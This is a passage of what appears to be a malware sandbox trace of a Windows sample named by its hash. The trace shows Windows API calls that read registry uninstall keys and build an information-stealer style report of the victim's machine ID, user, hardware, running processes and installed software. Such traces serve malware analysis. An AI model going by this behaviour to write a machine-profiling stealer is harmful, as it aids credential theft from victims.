svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]"
[0054.955] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\n"
[0054.955] RegCloseKey (hKey=0x514) returned 0x0
[0054.955] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x1b, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{65e650ff-30be-469d-b63a-418d71ea1765}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.955] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{65e650ff-30be-469d-b63a-418d71ea1765}") returned 90
[0054.955] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{65e650ff-30be-469d-b63a-418d71ea1765}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.955] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508", lpcbData=0x1816c0*=0x43) returned 0x0
[0054.955] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\n", lpString2="Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- 